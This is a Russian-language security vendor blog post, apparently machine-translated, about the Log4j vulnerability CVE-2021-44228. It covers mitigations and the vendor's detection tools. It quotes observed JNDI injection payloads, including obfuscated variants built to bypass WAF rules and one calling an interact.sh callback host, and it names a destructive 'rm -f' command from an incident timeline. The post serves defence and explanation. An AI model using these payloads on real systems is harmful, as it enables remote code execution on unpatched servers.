1. Введение
За последние несколько дней была обнаружена серьезная уязвимость Log4j (CVE-2021-44228, CVE-2021-45046) едва не вызвал настоящий шторм в мире Интернета. Как широко используемая утилита ведения журналов Java с легко используемой уязвимостью, Log4j, несомненно, заставила нервничать ИТ-специалистов и компании, и было поднято много вопросов: что это за уязвимость? Как узнать, уязвима ли наша система? Была ли взломана моя ИТ-инфраструктура? Что я могу сделать, чтобы предотвратить будущие атаки, использующие эту уязвимость?
В Stellar Cyber мы внимательно следим за ситуацией, и мы здесь, чтобы поделиться своими выводами и советами с нашими текущими и потенциальными клиентами и партнерами, когда они преодолевают неопределенность, вызванную этой уязвимостью Log4j.
2. Воздействие и смягчение последствий
Согласно CVE-2021-44228, любой Apache Log4j2 до версии 2.15.0 подвержен этой уязвимости из-за непроверенной интерполяции строк с Именование Java и интерфейс каталогов (JNDI) поиск. Злоумышленник, обладающий знаниями для внедрения данных в сообщения журнала, может создать и внедрить специально отформатированное выражение интерполяции JNDI для загрузки и выполнения произвольного кода из указанной конечной точки JNDI (например, сервера LDAP), когда выражение интерполяции оценивается Log4j.
Ожидается, что влияние этой уязвимости будет широким из-за широкого использования Log4j во многих популярных программных приложениях и его легкости использования. Сообщество безопасности отслеживало веб-сайты, программное обеспечение, компоненты с открытым исходным кодом и других производителей, использующих Log4j, и подтвердило, что даже некоторые крупные бренды были уязвимы.
Чтобы уменьшить эту уязвимость, мы советуем нашим клиентам и партнерам обновить существующий Log4j до версии 2.15.0, в которой поведение, связанное с JNDI, отключено по умолчанию. Если немедленное обновление невозможно, другим решением является установка системного свойства. log4j2.formatMsgNoLookups в правда (применимо к v2.10+) или удалить JndiLookup класс из пути к классам (применимо к Log4j до версии 2.10 через zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class).
Кроме того, мы рекомендуем нашим клиентам и партнерам обновить существующую версию Java как минимум до версии 6u211, 7u201, 8u191 или 11.0.1, в которой по умолчанию отключена удаленная загрузка классов JNDI.
Для конкретных программных приложений, использующих Log4j и затронутых этой уязвимостью, обратитесь к поставщикам программного обеспечения, чтобы как можно скорее установить соответствующие исправления.
3. Технические подробности
In CVE-2021-44228, есть две существенные и важные части, составляющие уязвимость: Именование Java и интерфейс каталогов (JNDI) с функцией удаленного вызова методов и поддержкой Log4j для интерполяции журнала с поиском JNDI.
Именование Java и интерфейс каталогов (JNDI, рис. 1) — древняя, но все еще полезная функция, восходящая к Java 2 v1.3. Он обеспечивает функции именования и каталогов для приложений Java, поэтому приложение может вызывать через JNDI различных поставщиков услуг, таких как Легкий протокол доступа к каталогам (LDAP). Например, приложение Java может передать URL ldap://some-ldap-server:389/o=SomeObjectID через JNDI на поддерживаемый сервер LDAP какой-то ldap-сервер найти и вызвать удаленный объект Какой-тоОбъект.
(https://docs.oracle.com/javase/jndi/tutorial/getStarted/overview/index.html)
На Log4j С другой стороны, поддержка поиска JNDI была впервые представлена в версии 2.0 еще в 2013 году по запросу пользователей для сложных функций ведения журнала. С тех пор Log4j позволяет разработчикам использовать интерполяцию строк с JNDI в сообщениях журнала. Например, можно написать logger.error("${jndi:ldap://some-ldap-server:389/o=SomeObjectID}") и Log4j оценит интерполяционное выражение и соответственно вызовет JNDI для получения данных, составляющих сообщение журнала, с удаленного сервера.
Наконец, восемь лет спустя, 30 ноября 2021 г. Лог4дж команда стало известно уязвимости удаленного выполнения кода в результате комбинации интерполяции журнала с поиском JNDI. Неделю спустя почти все в сообществе безопасности и ИТ-индустрии были проинформированы и так или иначе начали паниковать.
Последствия этой уязвимости будут особенно серьезными не только потому, что Log4j так широко используется, но и потому, что люди используют Log4j слишком совершенным и слишком простым для злоумышленников образом.
Как мы видим из приведенного выше примера logger.error("${jndi:ldap://some-ldap-server:389/o=SomeObjectID}"), чтобы успешно использовать эту уязвимость, злоумышленнику необходимо знать, какие внедренные данные в конечном итоге будут где-то зарегистрированы системой-жертвой с помощью Log4j. В действительности, это несложная задача для любого злоумышленника с минимальным знакомством с современными сетевыми приложениями, в которых существует обычная практика регистрации каждого запроса, включая его URL-адрес, строку запроса и пользовательский агент.
В Stellar Cyber мы отслеживаем попытки эксплойтов, предпринятые нашими клиентами и партнерами на прошлой неделе. Наше средство обнаружения аномалий пользовательского агента, основанное на машинном обучении, уже обнаружило аномальные строки пользовательского агента, такие как:
${jndi:ldap://xxx.xxx.xxx.xxx:2222/lx-ffff82fd0128500008eac5b861000000005a8343}${jndi:${lower:l}${lower:d}a${lower:p}://xxx.x:80/callback}${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://${hostName}.c6sg0p8vc25qalcfvemgcghoy4yyyyyjo.interact.sh}
Среди этих образцов мы обнаружили, что злоумышленники исследовали различные способы использования уязвимости — не только используя ванильную форму, но и придумывая различные варианты, чтобы обойти основанные на правилах брандмауэры веб-приложений, которые пытаются сопоставить ${jndi:ldap*.
Хотя не было известно ни одного случая, когда злоумышленники воспользовались уязвимостью и успешно вызвали серьезные последствия, тем не менее примечательно, что даже простое зондирование, например попытка использования уязвимости с DNSLog чтобы проверить, уязвима ли целевая система, все еще может нанести ущерб, поскольку злоумышленники могут собирать будущие активы в данный момент.
4. Чем может помочь Stellar Cyber
В Stellar Cyber мы предоставляем нашим клиентам и партнерам несколько инструментов для защиты от атак, использующих CVE-2021-44228.
Через нашего поставщика информации об угрозах Stellar Cyber Security Sensor (SDS) уже имеет актуальные сигнатуры для обнаружения типичных эксплойтов CVE-2021-44228.
4.1 Звездные оповещения об обнаружении эксплуатации
В настоящее время мы предлагаем следующие типы предупреждений, которые обнаруживают новую сигнатуру IDS или всплеск сигнатур IDS:
- - Аномалия эксплойта от публичного к частному
- - Аномалия использования от частного к общедоступному
- - Частная аномалия эксплойта
- - Аномалия эксплойта от публичного к публичному
Пожалуйста, следите за этими предупреждениями с помощью "log4j" в описании предупреждения или ids.signature поле.
4.2 ATH для отслеживания совпадающих подписей Apache Log4j
Если вы хотите отслеживать все экземпляры совпадающих подписей Apache Log4j, вы можете рассмотреть возможность создания следующих правил (внимание: это может создать большое количество предупреждений):
- - Поиск События песочницы ML-IDS/вредоносного ПО индекс с запросом
ids.signature: log4j.
4.3 Разведка URL-адресов и обнаружение аномалий агента пользователя
Злоумышленники изучают различные варианты эксплуатации, и обнаружение аномалий с помощью искусственного интеллекта (рис. 2) также помогает обнаруживать непрямые или необычные попытки.
Мы обнаружили некоторые непрямые попытки обнаружения аномалий с помощью службы URL Reconnaissance Anomaly Detection с помощью Log4j в части URL-адресов для использования уязвимости через веб-приложения Java. Такие попытки обычно включают сканирование злоумышленником страниц для использования, что приводит к аномальному количеству ошибок HTTP 4xx, которые могут быть обнаружены с помощью обнаружения аномалий URL-разведки.
Поскольку, по нашим наблюдениям, строки User-Agent являются основным средством эксплуатации, наш User Agent Anomaly Detection также является полезным инструментом. Он обнаруживает строки User-Agent, которые никогда раньше не встречались или встречались очень редко, тем самым обеспечивая дополнительную защиту от растущей тенденции эксплуатации.
Искать "log4j" непосредственно во всех предупреждениях может быть разумным. (Внимание: это очень дорогой запрос, не пытайтесь использовать необработанные данные, это может привести к перегрузке озера данных.)
4.4 Корреляция инцидентов
Попытка использовать CVE-2021-44228 может быть всего лишь одним действием, приводящим к одному предупреждению от наших обнаружений. Для дальнейшего расследования и отслеживания потенциальных продолжающихся атак, связанных с легко используемым Log4j, мы предоставляем дополнительную функцию «Инциденты» (рис. 3) для сопоставления набора нескольких взаимосвязанных предупреждений и сущностей, составляющих потенциальную объединенную атаку (т. е. инцидент). для лучшей видимости и управляемости безопасности. Мы используем возможности машинного обучения для автоматического создания инцидентов, группируя связанные оповещения в единый инцидент для улучшения разрешения атак.
Как мы видим на Рисунке 4, на котором показана подробная временная шкала инцидента с CVE-2021-44228 Эксплуатация, наша корреляция инцидентов автоматически объединяет три высококоррелированных оповещения из трех разных обнаружений, упорядоченных по времени их возникновения: сначала аномалия агента пользователя, когда злоумышленник пытался внедрить вредоносную строку агента пользователя с 10.11.191.95 по 10.11.190.88, с последующим порождением аномального процесса, обнаруженным 10.11.190.88, и заканчивающимся аномалией команды, выполняющей опасную команду
xargs -r -0 rm -f.5. Выводы
В этом посте мы поделились своими выводами CVE-2021-44228 и дали советы нашим нынешним и потенциальным клиентам и партнерам, а также показали, как Stellar Cyber может прийти на помощь в этот неопределенный период времени. В качестве последнего напоминания, обязательно исправьте и обновите любое затронутое программное обеспечение, в том числе Log4j (to v2.15.0+) and Java (to at least 6u211, 7u201, 8u191, or 11.0.1).
